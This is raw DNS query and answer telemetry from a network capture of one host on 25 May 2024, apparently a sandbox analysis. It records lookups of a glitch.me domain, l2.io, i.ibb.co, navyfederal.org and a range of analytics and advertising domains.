May 25, 2024 00:46:32.518601894 CEST	192.168.2.6	1.1.1.1	0x8bf	Standard query (0)	dmp.truoptik.com	65	IN (0x0001)	false
May 25, 2024 00:46:36.185139894 CEST	192.168.2.6	1.1.1.1	0xd65d	Standard query (0)	players.brightcove.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:36.185476065 CEST	192.168.2.6	1.1.1.1	0x2dc8	Standard query (0)	players.brightcove.net	65	IN (0x0001)	false
May 25, 2024 00:46:41.023554087 CEST	192.168.2.6	1.1.1.1	0xcad9	Standard query (0)	edge.api.brightcove.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.024287939 CEST	192.168.2.6	1.1.1.1	0x96f4	Standard query (0)	edge.api.brightcove.com	65	IN (0x0001)	false
May 25, 2024 00:46:41.046875000 CEST	192.168.2.6	1.1.1.1	0x8038	Standard query (0)	vjs.zencdn.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.046875000 CEST	192.168.2.6	1.1.1.1	0x40b0	Standard query (0)	vjs.zencdn.net	65	IN (0x0001)	false
May 25, 2024 00:46:41.050376892 CEST	192.168.2.6	1.1.1.1	0x219b	Standard query (0)	metrics.brightcove.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.050376892 CEST	192.168.2.6	1.1.1.1	0x8b2f	Standard query (0)	metrics.brightcove.com	65	IN (0x0001)	false
May 25, 2024 00:46:43.173892021 CEST	192.168.2.6	1.1.1.1	0x9e7e	Standard query (0)	brightcove.hs.llnwd.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.174052954 CEST	192.168.2.6	1.1.1.1	0x5ba7	Standard query (0)	brightcove.hs.llnwd.net	65	IN (0x0001)	false
May 25, 2024 00:46:43.208399057 CEST	192.168.2.6	1.1.1.1	0xdc4	Standard query (0)	cf-images.us-east-1.prod.boltdns.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.208553076 CEST	192.168.2.6	1.1.1.1	0x73f2	Standard query (0)	cf-images.us-east-1.prod.boltdns.net	65	IN (0x0001)	false
May 25, 2024 00:46:43.324978113 CEST	192.168.2.6	1.1.1.1	0x9bf5	Standard query (0)	metrics.brightcove.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.325150967 CEST	192.168.2.6	1.1.1.1	0xd694	Standard query (0)	metrics.brightcove.com	65	IN (0x0001)	false
May 25, 2024 00:46:43.352041006 CEST	192.168.2.6	1.1.1.1	0x8c3c	Standard query (0)	edge.api.brightcove.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.352365971 CEST	192.168.2.6	1.1.1.1	0x9b6c	Standard query (0)	edge.api.brightcove.com	65	IN (0x0001)	false
May 25, 2024 00:46:44.338373899 CEST	192.168.2.6	1.1.1.1	0x49fc	Standard query (0)	manifest.prod.boltdns.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.338720083 CEST	192.168.2.6	1.1.1.1	0x548a	Standard query (0)	manifest.prod.boltdns.net	65	IN (0x0001)	false
May 25, 2024 00:46:44.691298962 CEST	192.168.2.6	1.1.1.1	0xcfaf	Standard query (0)	cf-images.us-east-1.prod.boltdns.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.691801071 CEST	192.168.2.6	1.1.1.1	0x92dd	Standard query (0)	cf-images.us-east-1.prod.boltdns.net	65	IN (0x0001)	false
May 25, 2024 00:46:45.075149059 CEST	192.168.2.6	1.1.1.1	0x2230	Standard query (0)	manifest.prod.boltdns.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:45.076323986 CEST	192.168.2.6	1.1.1.1	0xf5fb	Standard query (0)	manifest.prod.boltdns.net	65	IN (0x0001)	false
May 25, 2024 00:46:45.546004057 CEST	192.168.2.6	1.1.1.1	0x1c78	Standard query (0)	match.sync.ad.cpe.dotomi.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:45.546134949 CEST	192.168.2.6	1.1.1.1	0xdd2b	Standard query (0)	match.sync.ad.cpe.dotomi.com	65	IN (0x0001)	false
May 25, 2024 00:46:46.114141941 CEST	192.168.2.6	1.1.1.1	0x4c6e	Standard query (0)	bcbolt446c5271-a.akamaihd.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.114320040 CEST	192.168.2.6	1.1.1.1	0x61f5	Standard query (0)	bcbolt446c5271-a.akamaihd.net	65	IN (0x0001)	false
May 25, 2024 00:46:46.726238966 CEST	192.168.2.6	1.1.1.1	0x74e3	Standard query (0)	load77.exelator.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:46.726675034 CEST	192.168.2.6	1.1.1.1	0xf781	Standard query (0)	load77.exelator.com	65	IN (0x0001)	false
May 25, 2024 00:46:47.822293997 CEST	192.168.2.6	1.1.1.1	0x70a8	Standard query (0)	bcbolt446c5271-a.akamaihd.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:47.822838068 CEST	192.168.2.6	1.1.1.1	0x12f0	Standard query (0)	bcbolt446c5271-a.akamaihd.net	65	IN (0x0001)	false
May 25, 2024 00:46:50.259100914 CEST	192.168.2.6	1.1.1.1	0x2e12	Standard query (0)	io.narrative.io	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:50.259278059 CEST	192.168.2.6	1.1.1.1	0xfb74	Standard query (0)	io.narrative.io	65	IN (0x0001)	false
May 25, 2024 00:46:50.272465944 CEST	192.168.2.6	1.1.1.1	0x3b6e	Standard query (0)	mid.rkdms.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:50.272855043 CEST	192.168.2.6	1.1.1.1	0xff39	Standard query (0)	mid.rkdms.com	65	IN (0x0001)	false
May 25, 2024 00:46:51.237166882 CEST	192.168.2.6	1.1.1.1	0x7c34	Standard query (0)	track2.securedvisit.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:51.237304926 CEST	192.168.2.6	1.1.1.1	0xbaff	Standard query (0)	track2.securedvisit.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 25, 2024 00:45:22.748970032 CEST	1.1.1.1	192.168.2.6	0x92ba	No error (0)	delicious-decorous-army.glitch.me		18.210.59.152	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:22.748970032 CEST	1.1.1.1	192.168.2.6	0x92ba	No error (0)	delicious-decorous-army.glitch.me		52.2.135.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:25.182849884 CEST	1.1.1.1	192.168.2.6	0xb401	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:25.182878017 CEST	1.1.1.1	192.168.2.6	0x86a3	No error (0)	www.google.com			65	IN (0x0001)	false
May 25, 2024 00:45:26.483381987 CEST	1.1.1.1	192.168.2.6	0x661	No error (0)	l2.io		195.80.159.133	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.483400106 CEST	1.1.1.1	192.168.2.6	0x3ede	No error (0)	i.ibb.co		162.19.58.158	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.483400106 CEST	1.1.1.1	192.168.2.6	0x3ede	No error (0)	i.ibb.co		162.19.58.159	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.483400106 CEST	1.1.1.1	192.168.2.6	0x3ede	No error (0)	i.ibb.co		162.19.58.157	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.483400106 CEST	1.1.1.1	192.168.2.6	0x3ede	No error (0)	i.ibb.co		162.19.58.161	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.483400106 CEST	1.1.1.1	192.168.2.6	0x3ede	No error (0)	i.ibb.co		162.19.58.160	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.483400106 CEST	1.1.1.1	192.168.2.6	0x3ede	No error (0)	i.ibb.co		162.19.58.156	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:27.507782936 CEST	1.1.1.1	192.168.2.6	0xed5d	No error (0)	i.ibb.co		162.19.58.160	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:27.507782936 CEST	1.1.1.1	192.168.2.6	0xed5d	No error (0)	i.ibb.co		162.19.58.161	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:27.507782936 CEST	1.1.1.1	192.168.2.6	0xed5d	No error (0)	i.ibb.co		162.19.58.159	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:27.507782936 CEST	1.1.1.1	192.168.2.6	0xed5d	No error (0)	i.ibb.co		162.19.58.157	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:27.507782936 CEST	1.1.1.1	192.168.2.6	0xed5d	No error (0)	i.ibb.co		162.19.58.156	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:27.507782936 CEST	1.1.1.1	192.168.2.6	0xed5d	No error (0)	i.ibb.co		162.19.58.158	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:39.537381887 CEST	1.1.1.1	192.168.2.6	0xebbc	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:39.537381887 CEST	1.1.1.1	192.168.2.6	0xebbc	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:40.162137032 CEST	1.1.1.1	192.168.2.6	0xbef0	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:40.162137032 CEST	1.1.1.1	192.168.2.6	0xbef0	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:41.066353083 CEST	1.1.1.1	192.168.2.6	0xb9b4	No error (0)	www.navyfederal.org	www.navyfederal.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:41.089951992 CEST	1.1.1.1	192.168.2.6	0xc97c	No error (0)	www.navyfederal.org	www.navyfederal.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:44.583487034 CEST	1.1.1.1	192.168.2.6	0xe67	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:44.583501101 CEST	1.1.1.1	192.168.2.6	0x4d97	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:46.142107010 CEST	1.1.1.1	192.168.2.6	0xcb29	No error (0)	www.navyfederal.org	www.navyfederal.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:46.169002056 CEST	1.1.1.1	192.168.2.6	0x1d19	No error (0)	www.navyfederal.org	www.navyfederal.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.568490982 CEST	1.1.1.1	192.168.2.6	0x634	No error (0)	dm-assets.navyfederal.org	dsan-ion.scene7.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.171.118.212	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.220.209.169	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.76.80.14	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.228.84.202	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.16.115.188	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.247.72.3	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		176.34.167.98	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.575469971 CEST	1.1.1.1	192.168.2.6	0x76ee	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.251.227.208	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.617037058 CEST	1.1.1.1	192.168.2.6	0x473	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.617037058 CEST	1.1.1.1	192.168.2.6	0x473	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.617037058 CEST	1.1.1.1	192.168.2.6	0x473	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:47.617064953 CEST	1.1.1.1	192.168.2.6	0x17c6	No error (0)	dm-assets.navyfederal.org	dsan-ion.scene7.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:49.448254108 CEST	1.1.1.1	192.168.2.6	0xc226	No error (0)	dm-assets.navyfederal.org	dsan-ion.scene7.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:49.453957081 CEST	1.1.1.1	192.168.2.6	0x58c3	No error (0)	dm-assets.navyfederal.org	dsan-ion.scene7.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:50.978521109 CEST	1.1.1.1	192.168.2.6	0x4b3a	No error (0)	navyfederalcu.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:50.978521109 CEST	1.1.1.1	192.168.2.6	0x4b3a	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:50.978521109 CEST	1.1.1.1	192.168.2.6	0x4b3a	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:50.978521109 CEST	1.1.1.1	192.168.2.6	0x4b3a	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:50.983288050 CEST	1.1.1.1	192.168.2.6	0x1292	No error (0)	navyfederalcu.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.111519098 CEST	1.1.1.1	192.168.2.6	0xf149	No error (0)	analytics.navyfederal.org	navyfederal.org.ssl.d1.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	analytics.navyfederal.org	navyfederal.org.ssl.d1.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.22	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.55	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.15	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.138	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.117	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.189	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.236	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.132	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.65	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111532927 CEST	1.1.1.1	192.168.2.6	0xe454	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.9	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.111543894 CEST	1.1.1.1	192.168.2.6	0x94b7	No error (0)	nfcu.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.111543894 CEST	1.1.1.1	192.168.2.6	0x94b7	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.111543894 CEST	1.1.1.1	192.168.2.6	0x94b7	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	nfcu.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.228.84.202	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.194.31.123	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.49.110.165	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.51.22.204	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.16.115.188	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.250.112.230	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.17.107.72	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.117774010 CEST	1.1.1.1	192.168.2.6	0x1df6	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		79.125.35.115	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		176.34.167.98	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		63.32.81.13	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.194.31.123	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.247.72.3	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.73.116.64	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		79.125.35.115	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.17.32.208	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172180891 CEST	1.1.1.1	192.168.2.6	0x3d95	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.49.219.73	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.172193050 CEST	1.1.1.1	192.168.2.6	0x3bac	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.172193050 CEST	1.1.1.1	192.168.2.6	0x3bac	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.172193050 CEST	1.1.1.1	192.168.2.6	0x3bac	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.853724957 CEST	1.1.1.1	192.168.2.6	0x7ba4	No error (0)	analytics.navyfederal.org	navyfederal.org.ssl.d1.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	analytics.navyfederal.org	navyfederal.org.ssl.d1.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.93	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.150	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.112	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.91	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.224	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.248	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.130	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.39.72	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.864923000 CEST	1.1.1.1	192.168.2.6	0xd663	No error (0)	navyfederal.org.ssl.d1.sc.omtrdc.net		63.140.38.210	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:52.043473959 CEST	1.1.1.1	192.168.2.6	0x9e41	No error (0)	navyfederalcu.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:52.043473959 CEST	1.1.1.1	192.168.2.6	0x9e41	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:52.043473959 CEST	1.1.1.1	192.168.2.6	0x9e41	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:52.043473959 CEST	1.1.1.1	192.168.2.6	0x9e41	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:52.043504000 CEST	1.1.1.1	192.168.2.6	0xc709	No error (0)	navyfederalcu.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:53.451944113 CEST	1.1.1.1	192.168.2.6	0x92bc	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:53.451944113 CEST	1.1.1.1	192.168.2.6	0x92bc	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:53.612848997 CEST	1.1.1.1	192.168.2.6	0xb753	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:53.612848997 CEST	1.1.1.1	192.168.2.6	0xb753	No error (0)	scontent.xx.fbcdn.net		157.240.252.13	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:53.613012075 CEST	1.1.1.1	192.168.2.6	0x93e8	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:54.456742048 CEST	1.1.1.1	192.168.2.6	0x34fd	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:54.463768959 CEST	1.1.1.1	192.168.2.6	0xf4c0	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.351464987 CEST	1.1.1.1	192.168.2.6	0x20f4	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.351480007 CEST	1.1.1.1	192.168.2.6	0x8fb3	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.351480007 CEST	1.1.1.1	192.168.2.6	0x8fb3	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.351488113 CEST	1.1.1.1	192.168.2.6	0xfd7e	No error (0)	utt.impactcdn.com		35.186.249.72	A (IP address)	IN (0x0001)	false
